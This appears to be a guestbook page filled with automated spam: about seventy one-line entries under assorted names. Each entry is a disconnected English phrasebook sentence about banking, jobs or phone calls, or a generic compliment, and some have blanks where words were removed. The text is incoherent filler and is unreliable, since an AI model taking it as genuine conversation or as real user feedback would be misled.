Cooler111 : Accountant supermarket manager .
Willie : I'm doing a masters in law .
Kristopher : No, I'm not particularly sporty .
Loren : Could I have , please? .
Randolph : How do you spell that? .
Joesph : I really like swimming .
Sterling : Could I order a new chequebook, please? .
Leland : I'd like to pay this in, please .
Diego : Best Site Good Work .
Margarito : Who would I report to? .
Scott : This is your employment contract .
Bertram : Another service? .
Douglass : We need someone with experience .
Clarence : I can't get a signal .
Caleb : A few months .
Gabriella : I've got a full-time job .
Gregory : I'm not interested in football .
Gordon : I'm afraid that number's ex-directory .
Sierra : We've got a joint account .
Cordell : Have you got any experience? .
Wilfred : I'm not interested in football .
Louie : Could you please repeat that? .
Dewayne : Where are you from? .
Marcus : I'm sorry, I didn't catch your name .
Mia : This site is crazy :) .
Duncan : Could you give me some smaller notes? .
Benjamin : I've just graduated .
Jeromy : Could you send me an application form? .
Terry : I'm doing an internship .
Jamison : I've come to collect a parcel .
Elvis : I stay at home and look after the children .
Duane : I live in London .
Fermin : Is this a temporary or permanent position? .
Nicholas : I can't get a signal .
Marcos : Looking for work .
Teodoro : I'd like to cancel this standing order .
Bradly : Who do you work for? .
Leigh : good material thanks .
Donald : I'd like to speak to someone about a mortgage .
Brooks : I'm on business .
Arron : What do you like doing in your spare time? .
Gabriella : Could I have , please? .
Abigail : I'd like to cancel a cheque .
Oscar : What do you do? .
Doyle : Which university are you at? .
Danielle : Stolen credit card .
Preston : I'd like to send this to .
Vaughn : Could I order a new chequebook, please? .
Edmundo : A few months .
Trinidad : I'm afraid that number's ex-directory .
Brant : Insufficient funds .
Sherwood : I'm on holiday .
Jordan : Who would I report to? .
Darwin : I'd like to tell you about a change of address .
Jospeh : A company car .
Valeria : I'll call back later .
Augustine : The line's engaged .
Mitch : I live here .
Patrick : Do you know what extension he's on? .
Stevie : We work together .
Emma : Is there ? .
Allan : What do you do for a living? .
Jamar : An accountancy practice .
Andreas : I like watching TV .
Antonio : Who would I report to? .
Lonnie : Could you transfer $1000 from my current account to my depos .
Antwan : Will I be paid weekly or monthly? .
Byron : I'm happy very good site .
Willard : What university do you go to? .
Benito : Could you transfer $1000 from my current account to my depos .
Ollie : A First Class stamp .

 

 

이름 :   내용 :